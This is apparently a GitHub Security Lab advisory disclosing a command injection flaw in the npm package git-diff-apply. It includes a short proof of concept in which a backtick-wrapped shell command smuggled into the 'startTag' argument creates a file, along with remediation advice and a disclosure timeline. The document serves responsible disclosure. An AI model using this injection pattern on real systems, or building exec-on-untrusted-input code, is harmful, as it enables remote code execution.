Summary
The diff
function has a command injection vulnerability. Clients of the git-diff-apply library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.
Product
git-diff-apply
Tested Version
Commit cacb51f
Details: Command injection in diff
The following proof-of-concept illustrates the vulnerability. First, install git-diff-apply and create a simple git repo:
npm install git-diff-apply
git init
printf "node_modules/\\npoc.js\\ntest.js\\npackage-lock.json" > .gitignore
git add -A
git commit -am "initial commit"
git status # Check that git status is clean
Now create a file with the following contents:
var diff = require("git-diff-apply");
diff({"remoteUrl": "https://github.com/kellyselden/git-diff-apply.git", "startTag": "none`touch /tmp/exploit`", "endTag": "bla", "cwd": "."})
and run it:
node test.js
Notice that a file named /tmp/exploit has been created.
This vulnerability is similar to command injection vulnerabilities that have been found in other Javascript libraries. Here are some examples: CVE-2020-7646, CVE-2020-7614, CVE-2020-7597, CVE-2019-10778, CVE-2019-10776, CVE-2018-16462, CVE-2018-16461, CVE-2018-16460, CVE-2018-13797, CVE-2018-3786, CVE-2018-3772, CVE-2018-3746, CVE-2017-16100, CVE-2017-16042.
Impact
This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.
Remediation
We recommend not using an API that can interpret a string as a shell command. For example, use child_process.execFile
instead of child_process.exec
.
Coordinated disclosure timeline
2020-05-19: Emailed report to kellyselden@gmail.com 2020-05-19: acknowledged by kellyselden@gmail.com 2020-05-20: fixed in v0.22.9 kellyselden/git-diff-apply#370
Credit
This issue was discovered and reported by GitHub Engineer @erik-krogh (Erik Krogh Kristensen).
Contact
You can contact the GHSL team at securitylab@github.com
, please include GHSL-2020-122
in any communication regarding this issue.